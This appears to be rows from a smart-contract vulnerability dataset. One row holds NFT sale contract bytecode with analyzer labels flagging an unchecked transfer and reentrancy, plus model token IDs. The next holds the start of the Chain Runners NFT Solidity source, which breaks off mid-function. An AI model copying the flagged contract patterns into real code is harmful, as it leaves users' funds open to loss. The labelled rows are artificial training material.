fffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461235b919061436a565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000818361242291906143c0565b905092915050565b60008183612438919061444b565b905092915050565b6124486110df565b612487576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247e90613ec5565b60405180910390fd5b6000600b60006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa6124cb612019565b6040516124d89190613df8565b60405180910390a1565b6124ea6110df565b1561252a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252190614045565b60405180910390fd5b6001600b60006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861256e612019565b60405161257b9190613df8565b60405180910390a1565b600081600001549050919050565b6125ad8282604051806020016040528060008152506128af565b5050565b600081836125bf91906143f1565b905092915050565b6125d28484846121b8565b6125de8484848461290a565b61261d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261490613f05565b60405180910390fd5b50505050565b606061262e82611fad565b61266d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266490614125565b60405180910390fd5b6000600a6000848152602001908152602001600020805461268d90614547565b80601f01602080910402602001604051908101604052809291908181526020018280546126b990614547565b80156127065780601f106126db57610100808354040283529160200191612706565b820191906000526020600020905b8154815290600101906020018083116126e957829003601f168201915b505050505090506000612717612aa1565b905060008151141561272d578192505050612770565b60008251111561276257808260405160200161274a929190613dd4565b60405160208183030381529060405292505050612770565b61276b84612b33565b925050505b919050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061284057507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80612850575061284f82612bda565b5b9050919050565b61285f6110df565b1561289f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289690614045565b60405180910390fd5b6128aa838383612c44565b505050565b6128b98383612d58565b6128c6600084848461290a565b612905576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fc90613f05565b60405180910390fd5b505050565b600061292b8473ffffffffffffffffffffffffffffffffffffffff16612f26565b15612a94578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612954612019565b8786866040518563ffffffff1660e01b81526004016129769493929190613e13565b602060405180830381600087803b15801561299057600080fd5b505af19250505080156129c157506040513d601f19601f820116820180604052508101906129be91906137ed565b60015b612a44573d80600081146129f1576040519150601f19603f3d011682016040523d82523d6000602084013e6129f6565b606091505b50600081511415612a3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3390613f05565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612a99565b600190505b949350505050565b606060108054612ab090614547565b80601f0160208091040260200160405190810160405280929190818152602001828054612adc90614547565b8015612b295780601f10612afe57610100808354040283529160200191612b29565b820191906000526020600020905b815481529060010190602001808311612b0c57829003601f168201915b5050505050905090565b6060612b3e82611fad565b612b7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b74906141c5565b60405180910390fd5b6000612b87612aa1565b90506000815111612ba75760405180602001604052806000815250612bd2565b80612bb184612f39565b604051602001612bc2929190613dd4565b6040516020818303038152906040525b915050919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b612c4f83838361309a565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612c9257612c8d8161309f565b612cd1565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612cd057612ccf83826130e8565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612d1457612d0f81613255565b612d53565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612d5257612d518282613326565b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dbf90614105565b60405180910390fd5b612dd181611fad565b15612e11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e0890613f65565b60405180910390fd5b612e1d60008383612857565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612e6d919061436a565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b60606000821415612f81576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050613095565b600082905060005b60008214612fb3578080612f9c906145aa565b915050600a82612fac91906143c0565b9150612f89565b60008167ffffffffffffffff811115612fcf57612fce61470f565b5b6040519080825280601f01601f1916602001820160405280156130015781602001600182028036833780820191505090505b5090505b6000851461308e5760018261301a919061444b565b9150600a8561302991906145f3565b6030613035919061436a565b60f81b81838151811061304b5761304a6146e0565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561308791906143c0565b9450613005565b8093505050505b919050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b600060016130f5846114d8565b6130ff919061444b565b90506000600760008481526020019081526020016000205490508181146131e4576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600880549050613269919061444b565b9050600060096000848152602001908152602001600020549050600060088381548110613299576132986146e0565b5b9060005260206000200154905080600883815481106132bb576132ba6146e0565b5b90600052602060002001819055508160096000838152602001908152602001600020819055506009600085815260200190815260200160002060009055600880548061330a576133096146b1565b5b6001900381819060005260206000200160009055905550505050565b6000613331836114d8565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b8280546133b190614547565b90600052602060002090601f0160209004810192826133d3576000855561341a565b82601f106133ec57805160ff191683800117855561341a565b8280016001018555821561341a579182015b828111156134195782518255916020019190600101906133fe565b5b509050613427919061342b565b5090565b5b8082111561344457600081600090555060010161342c565b5090565b600061345b613456846142c5565b6142a0565b90508281526020810184848401111561347757613476614743565b5b613482848285614505565b509392505050565b600061349d613498846142f6565b6142a0565b9050828152602081018484840111156134b9576134b8614743565b5b6134c4848285614505565b509392505050565b6000813590506134db81614f03565b92915050565b6000813590506134f081614f1a565b92915050565b60008151905061350581614f1a565b92915050565b60008135905061351a81614f31565b92915050565b60008151905061352f81614f31565b92915050565b600082601f83011261354a5761354961473e565b5b813561355a848260208601613448565b91505092915050565b60008135905061357281614f48565b92915050565b600082601f83011261358d5761358c61473e565b5b813561359d84826020860161348a565b91505092915050565b6000813590506135b581614f5f565b92915050565b6000815190506135ca81614f5f565b92915050565b6000602082840312156135e6576135e561474d565b5b60006135f4848285016134cc565b91505092915050565b600080604083850312156136145761361361474d565b5b6000613622858286016134cc565b9250506020613633858286016134cc565b9150509250929050565b6000806000606084860312156136565761365561474d565b5b6000613664868287016134cc565b9350506020613675868287016134cc565b9250506040613686868287016135a6565b9150509250925092565b600080600080608085870312156136aa576136a961474d565b5b60006136b8878288016134cc565b94505060206136c9878288016134cc565b93505060406136da878288016135a6565b925050606085013567ffffffffffffffff8111156136fb576136fa614748565b5b61370787828801613535565b91505092959194509250565b6000806040838503121561372a5761372961474d565b5b6000613738858286016134cc565b9250506020613749858286016134e1565b9150509250929050565b6000806040838503121561376a5761376961474d565b5b6000613778858286016134cc565b9250506020613789858286016135a6565b9150509250929050565b6000602082840312156137a9576137a861474d565b5b60006137b7848285016134f6565b91505092915050565b6000602082840312156137d6576137d561474d565b5b60006137e48482850161350b565b91505092915050565b6000602082840312156138035761380261474d565b5b600061381184828501613520565b91505092915050565b6000602082840312156138305761382f61474d565b5b600061383e84828501613563565b91505092915050565b60006020828403121561385d5761385c61474d565b5b600082013567ffffffffffffffff81111561387b5761387a614748565b5b61388784828501613578565b91505092915050565b6000602082840312156138a6576138a561474d565b5b60006138b4848285016135a6565b91505092915050565b6000602082840312156138d3576138d261474d565b5b60006138e1848285016135bb565b91505092915050565b6138f38161447f565b82525050565b61390281614491565b82525050565b600061391382614327565b61391d818561433d565b935061392d818560208601614514565b61393681614752565b840191505092915050565b600061394c82614332565b613956818561434e565b9350613966818560208601614514565b61396f81614752565b840191505092915050565b600061398582614332565b61398f818561435f565b935061399f818560208601614514565b80840191505092915050565b60006139b860148361434e565b91506139c382614763565b602082019050919050565b60006139db602b8361434e565b91506139e68261478c565b604082019050919050565b60006139fe60328361434e565b9150613a09826147db565b604082019050919050565b6000613a2160268361434e565b9150613a2c8261482a565b604082019050919050565b6000613a4460148361434e565b9150613a4f82614879565b602082019050919050565b6000613a67601c8361434e565b9150613a72826148a2565b602082019050919050565b6000613a8a60248361434e565b9150613a95826148cb565b604082019050919050565b6000613aad60248361434e565b9150613ab88261491a565b604082019050919050565b6000613ad060198361434e565b9150613adb82614969565b602082019050919050565b6000613af3602c8361434e565b9150613afe82614992565b604082019050919050565b6000613b1660268361434e565b9150613b21826149e1565b604082019050919050565b6000613b3960278361434e565b9150613b4482614a30565b604082019050919050565b6000613b5c60108361434e565b9150613b6782614a7f565b602082019050919050565b6000613b7f60388361434e565b9150613b8a82614aa8565b604082019050919050565b6000613ba2602a8361434e565b9150613bad82614af7565b604082019050919050565b6000613bc5601f8361434e565b9150613bd082614b46565b602082019050919050565b6000613be860298361434e565b9150613bf382614b6f565b604082019050919050565b6000613c0b60148361434e565b9150613c1682614bbe565b602082019050919050565b6000613c2e60208361434e565b9150613c3982614be7565b602082019050919050565b6000613c5160318361434e565b9150613c5c82614c10565b604082019050919050565b6000613c74602c8361434e565b9150613c7f82614c5f565b604082019050919050565b6000613c9760208361434e565b9150613ca282614cae565b602082019050919050565b6000613cba60298361434e565b9150613cc582614cd7565b604082019050919050565b6000613cdd60298361434e565b9150613ce882614d26565b604082019050919050565b6000613d00602f8361434e565b9150613d0b82614d75565b604082019050919050565b6000613d23600a8361434e565b9150613d2e82614dc4565b602082019050919050565b6000613d4660218361434e565b9150613d5182614ded565b604082019050919050565b6000613d6960318361434e565b9150613d7482614e3c565b604082019050919050565b6000613d8c602c8361434e565b9150613d9782614e8b565b604082019050919050565b6000613daf60178361434e565b9150613dba82614eda565b602082019050919050565b613dce816144fb565b82525050565b6000613de0828561397a565b9150613dec828461397a565b91508190509392505050565b6000602082019050613e0d60008301846138ea565b92915050565b6000608082019050613e2860008301876138ea565b613e3560208301866138ea565b613e426040830185613dc5565b8181036060830152613e548184613908565b905095945050505050565b6000604082019050613e7460008301856138ea565b613e816020830184613dc5565b9392505050565b6000602082019050613e9d60008301846138f9565b92915050565b60006020820190508181036000830152613ebd8184613941565b905092915050565b60006020820190508181036000830152613ede816139ab565b9050919050565b60006020820190508181036000830152613efe816139ce565b9050919050565b60006020820190508181036000830152613f1e816139f1565b9050919050565b60006020820190508181036000830152613f3e81613a14565b9050919050565b60006020820190508181036000830152613f5e81613a37565b9050919050565b60006020820190508181036000830152613f7e81613a5a565b9050919050565b60006020820190508181036000830152613f9e81613a7d565b9050919050565b60006020820190508181036000830152613fbe81613aa0565b9050919050565b60006020820190508181036000830152613fde81613ac3565b9050919050565b60006020820190508181036000830152613ffe81613ae6565b9050919050565b6000602082019050818103600083015261401e81613b09565b9050919050565b6000602082019050818103600083015261403e81613b2c565b9050919050565b6000602082019050818103600083015261405e81613b4f565b9050919050565b6000602082019050818103600083015261407e81613b72565b9050919050565b6000602082019050818103600083015261409e81613b95565b9050919050565b600060208201905081810360008301526140be81613bb8565b9050919050565b600060208201905081810360008301526140de81613bdb565b9050919050565b600060208201905081810360008301526140fe81613bfe565b9050919050565b6000602082019050818103600083015261411e81613c21565b9050919050565b6000602082019050818103600083015261413e81613c44565b9050919050565b6000602082019050818103600083015261415e81613c67565b9050919050565b6000602082019050818103600083015261417e81613c8a565b9050919050565b6000602082019050818103600083015261419e81613cad565b9050919050565b600060208201905081810360008301526141be81613cd0565b9050919050565b600060208201905081810360008301526141de81613cf3565b9050919050565b600060208201905081810360008301526141fe81613d16565b9050919050565b6000602082019050818103600083015261421e81613d39565b9050919050565b6000602082019050818103600083015261423e81613d5c565b9050919050565b6000602082019050818103600083015261425e81613d7f565b9050919050565b6000602082019050818103600083015261427e81613da2565b9050919050565b600060208201905061429a6000830184613dc5565b92915050565b60006142aa6142bb565b90506142b68282614579565b919050565b6000604051905090565b600067ffffffffffffffff8211156142e0576142df61470f565b5b6142e982614752565b9050602081019050919050565b600067ffffffffffffffff8211156143115761431061470f565b5b61431a82614752565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000614375826144fb565b9150614380836144fb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156143b5576143b4614624565b5b828201905092915050565b60006143cb826144fb565b91506143d6836144fb565b9250826143e6576143e5614653565b5b828204905092915050565b60006143fc826144fb565b9150614407836144fb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156144405761443f614624565b5b828202905092915050565b6000614456826144fb565b9150614461836144fb565b92508282101561447457614473614624565b5b828203905092915050565b600061448a826144db565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b60006144d48261447f565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015614532578082015181840152602081019050614517565b83811115614541576000848401525b50505050565b6000600282049050600182168061455f57607f821691505b6020821081141561457357614572614682565b5b50919050565b61458282614752565b810181811067ffffffffffffffff821117156145a1576145a061470f565b5b80604052505050565b60006145b5826144fb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156145e8576145e7614624565b5b600182019050919050565b60006145fe826144fb565b9150614609836144fb565b92508261461957614618614653565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f5061757361626c653a206e6f7420706175736564000000000000000000000000600082015250565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f53616c6520697320616c7265616479206f70656e000000000000000000000000600082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f43616e6e6f74207075726368617365206d6f7265207468616e206d617820616d60008201527f6f756e7400000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f63616e6e6f7420636c6f73652073616c65206265666f7265206974277320736f60008201527f6c64206f75740000000000000000000000000000000000000000000000000000602082015250565b7f53616c6520636c6f7365642e20416374696f6e2063616e6e6f7420626520636f60008201527f6d706c6574656400000000000000000000000000000000000000000000000000602082015250565b7f5061757361626c653a2070617573656400000000000000000000000000000000600082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f63616e6e6f7420636c6f73652073616c65207768696c73742070617573656400600082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f496e636f72726563742045544820616d6f756e74000000000000000000000000600082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f45524337323155524953746f726167653a2055524920717565727920666f722060008201527f6e6f6e6578697374656e7420746f6b656e000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f43616e206f6e6c7920646576206d696e74207768656e20636f6e74726163742060008201527f6973207061757365640000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f536f6c64206f7574212100000000000000000000000000000000000000000000600082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f43616e6e6f74206d696e74207a65726f20746f6b656e73000000000000000000600082015250565b614f0c8161447f565b8114614f1757600080fd5b50565b614f2381614491565b8114614f2e57600080fd5b50565b614f3a8161449d565b8114614f4557600080fd5b50565b614f51816144c9565b8114614f5c57600080fd5b50565b614f68816144fb565b8114614f7357600080fd5b5056fea264697066735822122079edaebd76be6f870c11ee32724d289ed0edb52484e18ec573419c5faf448b3b64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 23352, 2683, 19317, 2575, 2497, 2475, 2546, 2620, 14141, 12879, 2546, 2620, 16068, 2620, 2509, 2063, 18827, 2549, 12879, 2509, 2497, 2094, 17134, 11057, 2050, 2581, 2063, 2549, 27717, 1013, 1008, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,784
0x97597002980134beA46250Aa0510C9B90d87A587
// SPDX-License-Identifier: MIT pragma solidity 0.8.4; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "./core/ChainRunnersTypes.sol"; import "./interfaces/IChainRunnersRenderer.sol"; /* :::: :::#%= @*==+- ++==*=. #+=#=++.. ..=*=*+-#: :=+++++++=====================================: .===============================================. .=========================================++++++++= .%-+%##+=--==================================+=..=+-=============================================-+*+======================================---+##+=#-. [email protected]@%[email protected]@@%+++++++++++++++++++++++++++%#++++++%#+++#@@@#[email protected]@%[email protected]#+.=+*@*+*@@@@*+++++++++++++++++++++++%@@@#+++#@@+++= -*-#%@@%%%=*%@%*++=++=+==+=++=++=+=++=++==#@%#%#+++=+=*@%*+=+==+=+++%*[email protected]%%#%#++++*@%#++=++=++=++=+=++=++=+=+*%%*==*%@@@*:%= :@:[email protected]@@@@@*+++%@@*+===========+*=========#@@========+#%==========*@========##*#*+=======*@##*======#@#+=======*#*============+#%++#@@%#@@#++=. .*+=%@%*%@%##[email protected]@%#=-==-=--==*%=========*%==--=--=-====--=--=-=##=--=-=--%%%%%+=-=--=-=*%=--=--=-=#%=--=----=#%=--=-=--=-+%#+==#%@@*#%@=++. +%.#@@###%@@@@@%*---------#@%########@%*---------------------##---------------------##---------%%*[email protected]@#---------+#@=#@@#[email protected]@%*++- .:*+*%@#+=*%@@@*=-------=#%#=-------=%*---------=*#*--------#+=--------===--------=#%*-------=#%*[email protected]%#--------=%@@%#*+=-+#%*+*:. ====================%*[email protected]@%#==+##%@*[email protected]#[email protected]@*-------=*@[email protected]@*[email protected][email protected]=--------*@@+-------+#@@%#==---+#@.*%==================== :*=--==================-:=#@@%*===+*@%+=============%%%@=========*%@*[email protected]+=--=====+%@[email protected][email protected]========*%@@+======%%%**+=---=%@#=:-====================-#- +++**%@@@#*****************@#*=---=##%@@@@@@@@@@@@@#**@@@@****************%@@*[email protected]#***********#@************************************+=------=*@#*********************@#+=+: .-##=*@@%*----------------+%@%=---===+%@@@@@@@*+++---%#++----------------=*@@*+++=-----------=+#=------------------------------------------+%+--------------------+#@[email protected] :%:#%#####+=-=-*@@+--=-==-=*@=--=-==-=*@@#*[email protected][email protected]%===-==----+-==-==--+*+-==-==---=*@@@@@@%#===-=-=+%@%-==-=-==-#@%=-==-==--+#@@@@@@@@@@@@*+++ =*=#@#=----==-=-=++=--=-==-=*@=--=-==-=*@@[email protected]===-=--=-*@@*[email protected]=--=-==--+#@-==-==---+%-==-==---=+++#@@@#--==-=-=++++-=--=-===#%[email protected]@@%.#* +#:@%*===================++%#=========%@%=========#%=========+#@%+=======#%==========*@#=========*%=========+*+%@@@+========+*[email protected]@%+**+================*%#*=+= *++#@*+=++++++*#%*+++++=+++*%%++++=++++%%*=+++++++##*=++++=++=%@@++++=++=+#%++++=++++#%@=+++++++=*#*+++++++=#%@@@@@*++=++++=#%@*[email protected]#*****=+++++++=+++++*%@@+:=+= :=*=#%#@@@@#%@@@%#@@#++++++++++%%*+++++++++++++++++**@*+++++++++*%#++++++++=*##++++++++*%@%+++++++++##+++++++++#%%%%%%++++**#@@@@@**+++++++++++++++++=*%@@@%#@@@@#%@@@%#@++*:. #*:@#=-+%#+:=*@*[email protected]%#++++++++#%@@#*++++++++++++++#%@#*++++++++*@@#[email protected]#++++++++*@@#+++++++++##*+++++++++++++++++###@@@@++*@@#+++++++++++++++++++*@@#=:+#%[email protected]*=-+%*[email protected]= ++=#%#+%@@%=#%@%#+%%#++++++*#@@@%###**************@@@++++++++**#@##*********#*********#@@#++++++***@#******%@%#*++**#@@@%##+==+++=*#**********%%*++++++++#%#=%@@%+*%@%*+%#*=*- .-*+===========*@@+++++*%%%@@@++***************+.%%*++++#%%%@@%=:=******************[email protected]@#+++*%%@#==+***--*@%*++*%@@*===+**=-- -************[email protected]%%#++++++#@@@*==========*+- =*******##.#%#++++*%@@@%+==+= *#-%@%**%%###*====**- [email protected]:*@@##@###*==+**-.-#[email protected]@#*@##*==+***= =+=##%@*+++++*%@@#.#%******: ++++%#+++*#@@@@+++==. **[email protected]@@%+++++++===- -+++#@@+++++++==: :+++%@@+++++++==: [email protected]%##[email protected]@%++++ :%:*%%****%@@%+==*- .%==*====**+... #*.#+==***.... #+=#%+==****:. ..-*=*%@%#++*#%@=+%. -+++#%+#%@@@#++=== [email protected]*++===- #%++=== %#+++=== =+++%@%##**@@*[email protected]: .%-=%@##@@%*==++ .*==+#@@%*%@%=*=. .+++#@@@@@*++==. -==++#@@@@@@=+% .=*=%@@%%%#=*=. .*+=%@@@@%+-#. @[email protected]@@%:++++. -+++**@@#+*=: .-+=*#%%++*::. :+**=#%@#==# #*:@*+++=: [email protected]*++=: :*-=*=++.. .=*=#*.%= +#.=+++: ++++:+# *+=#-:: .::*+=* */ contract ChainRunners is ERC721Enumerable, Ownable, ReentrancyGuard { mapping(uint256 => ChainRunnersTypes.ChainRunner) runners; address public renderingContractAddress; event GenerateRunner(uint256 indexed tokenId, uint256 dna); using Counters for Counters.Counter; Counters.Counter private _tokenIds; Counters.Counter private _reservedTokenIds; uint256 private constant MAX_RUNNERS = 10000; uint256 private constant FOUNDERS_RESERVE_AMOUNT = 85; uint256 private constant MAX_PUBLIC_RUNNERS = MAX_RUNNERS - FOUNDERS_RESERVE_AMOUNT; uint256 private constant MINT_PRICE = 0.05 ether; uint256 private constant MAX_PER_ADDRESS = 10; uint256 private constant MAX_PER_EARLY_ACCESS_ADDRESS = 5; uint256 private runnerZeroHash; uint256 private runnerZeroDNA; uint256 public earlyAccessStartTimestamp; uint256 public publicSaleStartTimestamp; mapping(address => bool) public isOnEarlyAccessList; mapping(address => uint256) public earlyAccessMintedCounts; mapping(address => uint256) private founderMintCountsRemaining; constructor() ERC721("Chain Runners", "RUN") {} modifier whenPublicSaleActive() { require(isPublicSaleOpen(), "Public sale not open"); _; } modifier whenEarlyAccessActive() { require(isEarlyAccessOpen(), "Early access not open"); _; } function setRenderingContractAddress(address _renderingContractAddress) public onlyOwner { renderingContractAddress = _renderingContractAddress; } function mintPublicSale(uint256 _count) external payable nonReentrant whenPublicSaleActive returns (uint256, uint256) { require(_count > 0 && _count <= MAX_PER_ADDRESS, "Invalid Runner count"); require(_tokenIds.current() + _count <= MAX_PUBLIC_RUNNERS, "All Runners have been minted"); require(_count * MINT_PRICE == msg.value, "Incorrect amount of ether sent"); uint256 firstMintedId = _tokenIds.current() + 1; for (uint256 i = 0; i < _count; i++) { _tokenIds.increment(); mint(_tokenIds.current()); } return (firstMintedId, _count); } function mintEarlyAccess(uint256 _count) external payable nonReentrant whenEarlyAccessActive returns (uint256, uint256) { require(_count != 0, "Invalid Runner count"); require(isOnEarlyAccessList[msg.sender], "Address not on Early Access list"); require(_tokenIds.current() + _count <= MAX_PUBLIC_RUNNERS, "All Runners have been minted"); require(_count * MINT_PRICE == msg.value, "Incorrect amount of ether sent"); uint256 userMintedAmount = earlyAccessMintedCounts[msg.sender] + _count; require(userMintedAmount <= MAX_PER_EARLY_ACCESS_ADDRESS, "Max Early Access count per address exceeded"); uint256 firstMintedId = _tokenIds.current() + 1; for (uint256 i = 0; i < _count; i++) { _tokenIds.increment(); mint(_tokenIds.current()); } earlyAccessMintedCounts[msg.sender] = userMintedAmount; return (firstMintedId, _count); } function allocateFounderMint(address _addr, uint256 _count) public onlyOwner nonReentrant { founderMintCountsRemaining[_addr] = _count; } function founderMint(uint256 _count) public nonReentrant returns (uint256, uint256) { require(_count > 0 && _count <= MAX_PER_ADDRESS, "Invalid Runner count"); require(_reservedTokenIds.current() + _count <= FOUNDERS_RESERVE_AMOUNT, "All reserved Runners have been minted"); require(founderMintCountsRemaining[msg.sender] >= _count, "You cannot mint this many reserved Runners"); uint256 firstMintedId = MAX_PUBLIC_RUNNERS + _tokenIds.current() 